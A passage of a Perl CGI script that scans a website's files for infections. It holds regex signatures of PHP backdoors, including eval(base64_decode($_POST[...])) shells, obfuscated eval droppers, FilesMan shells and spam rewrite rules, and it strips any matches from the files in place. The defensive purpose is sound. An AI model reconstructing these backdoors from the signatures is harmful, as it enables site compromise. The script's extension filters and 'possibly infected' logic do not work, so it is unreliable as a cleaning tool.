    qr/\#\!\/bin\/sh\s+cd\s+\'\/home\/.+?rm\s+1\.sh\s+exit\s+0/is,
#   qr/<\?php\s+function\s+html\(\$data\).+?array_unshift\(\$data.+?echo\(html\(array\(.+?\)\)\);\s+\?>/is,
#    qr/<\?php\s+\@ini_set\(\'mbstring\.http_output.+?mb_regex_encoding\(\);\s+\}\s+\?>/is,
#    qr/<\?php.+?\'FilesMan\'.+?\?>/is,
    qr/<\?php\s+preg_replace\(\"\/\.\*\/e\".+?x3B\"\,\"\"\);\?>/is,
    qr/<IfModule\s+mod_rewrite\.c>\s+RewriteEngine\s+On\s+RewriteBase\s+\/\s+RewriteRule\s+\^buyabilify\(\.\*\).+?\/images\/zubly\.php\s+\[L\]/is,
    qr/<\?php\s+error_reporting\(0\);\s+\#\-\-\-\-\-\-\-\-\-\-\-\-\-\#\s+\$dir\s+=\s+\'\.\.\/images\/files\/\';.+?\{loadlinks\(\$dir\);exit;\};\s+\?>/is,
    qr/RewriteRule\s+\^buyacai\-berry\.+?\/images\/zubly\.php\s+\[L\]/is,
    qr/<\?php\s+\@ignore\_user\_abort\(true\);.+?<\/html>\";\s+\}\s+\?>/is,
    qr/<\?php\s+if\(isset\(\$_POST\[.+?\]\)\)\{eval\(base64_decode\(\$_POST\[.+?\]\)\);\}\s+\?>/is,
    qr/<\?php\s+\$sF=\"PCT4BA6ODSE_\".+?\'\]\)\);\}\?>/is,
    qr/<\?php\s+preg_replace\(base64_decode\(\'.+?\'\)\,\'\'\);\?>/is,
    qr/<\?php\s+\$qV=\"stop_\";\$s20=strtoupper\(\$qV\[4\]\.\$qV\[3\]\.\$qV\[2\]\.\$qV\[0\]\.\$qV\[1\]\);if\(isset\(\$\{\$s20\}\[\'q9fb097\'\]\)\)\{eval\(\$\{\$s20\}\[\'q9fb097\'\]\);\}\?>/is,
    qr/<\?php\s+\$tar1\s+=stripslashes\(\$_POST\[\"l1\"\]\);.+?\.\$result;\}/is,
    qr/<\?php\s+\$tds=\".+?\)\);\s+\?>/is,
    qr/<\?php\s+\$qV=\"stop_\";.+?\'\]\);\}\?>/is,
    qr/<\?php\s+\@array_diff_ukey\(\@array\(\(string\)\$_REQUEST\[\'password\'\]\=\>1\)\,\@array\(\(string\)stripslashes\(\$_REQUEST\[\'re_password\'\]\)\=\>2\)\,\$_REQUEST\[\'login\'\]\);\s+\?>/is,

    );
my @base64_decodes = (


);

my @file_list;
my %possible_list;

my $start_dir = $ENV{'SCRIPT_FILENAME'} || '../';
$start_dir =~ s/\/cgi-bin//;
$start_dir =~ s/\/lp-msh-scanner//;
$start_dir = substr($start_dir, 0, rindex($start_dir, '/'));
dir ($start_dir);

print "<br />\n<br />\n";
print 'Infected Files (' . scalar(@file_list) . "):<br />\n";
foreach my $file (@file_list) {
    print "$file<br />\n";
}
print "<br />\n<br />\n";
print 'Possibly Infected Files (' . scalar(keys(%possible_list)) . "):<br />\n";
foreach my $key (keys(%possible_list)) {
    print "$key => $possible_list{$key}<br />\n";
}

sub dir {
    my ($start_dir) = @_;

    unless (opendir(DIR, $start_dir)) {
        print "Skipping directory $start_dir: $! <br />";
        return;
    }

    opendir(DIR, $start_dir) || die "$start_dir: $!";
    my @files = grep {-T "$start_dir\/$_"} readdir(DIR);
    closedir DIR;
    opendir(DIR, $start_dir) || die "$start_dir: $!";
    my @folders = grep {-d "$start_dir\/$_"} readdir(DIR);
    closedir DIR;

foreach my $file (sort @files) {
        next if $file eq 'error_log';
        next if $file eq 'error.php';
        next if $file eq 'tcpdf.php';
        next if $file eq '*.xls';
        next if $file eq '*.doc';
        next if $file eq '*.pdf';
        next if $file eq '*.sql';
        next if $file eq '*.docx';
        next if $file eq '*.eml';
        next if $file eq '*.csv';
        next if $file eq '*.zip';
        next if $file eq '*.tar.gz';
        next if $file eq '*.jpa';
        next if $file eq '*.rar';
        next if $file eq '*.tar';
        next if $file eq '*.gz';
        next if $file eq '*.mov';
        next if $file eq '*.avi';
        next if $file eq '*.mp3';
        next if $file eq '*.mp4';
        next if $file eq '*.webm';
        next if $file eq '*.flv';
        next if $file eq '*.fla';
        next if $file eq '*.swf';
        next if $file eq '*.ini';
        next if $file eq '*.txt';
        next if $file eq '*.po';
        next if $file eq '*.mo';
        print "Scanning $start_dir/$file... ";

        unless (-r "$start_dir/$file") {
            print " Skipping file, unable to read file<br />";
            next
        }
        if ((-s "$start_dir/$file") > 1024000) {
            print " Skipping file, over 1MB<br />";
            next
        }

        my $fh;
        unless (open ($fh, '<', "$start_dir/$file")) {
            print " Unable to read file, $!<br />";
            next
        }

        my $contents = do { local $/; <$fh> };
        close $fh;

my ($infected, $cleaned, $possible, $known, $sig);
        foreach my $pattern (@regexen) {
            my $t;
            if ($contents =~ /$pattern/) {
                my ($d, $t) = ($1, $2);
                    $infected = 1;
                    ($contents, $cleaned) = clean_file("$start_dir/$file", $contents, $pattern);
                    push (@file_list, "$start_dir/$file");
            }

            $t = undef;
        }


        print $infected ? ($cleaned ? "<font color='green'>Infected, Cleaned<br /></font>\n" : "Infected, Cleaning failed<br />\n") : ($possible ? "Possibly Infected<br />\nSignature Unknown: $sig<br />\n" : "Not infected<br />\n");
    }


    foreach my $folder (sort @folders) {
        if ($folder !~ /^\.\.?$/) {
            dir("$start_dir/$folder");
        }
    }
}

sub clean_file {
    my ($file, $contents, $pattern) = @_;
    my $cleaned;

    if ($contents =~ /\n{4}/) {
        $contents =~ s/\n\n/\n/g;
    }
    $contents =~ s/$pattern//g;
    if ($contents =~ /$pattern/) {
        $cleaned = 0;
    }
    else {
        open (my $fh, '>', $file);
        print $fh $contents;
        close $fh;
        $cleaned = 1;
    }

    return ($contents, $cleaned);
}

1;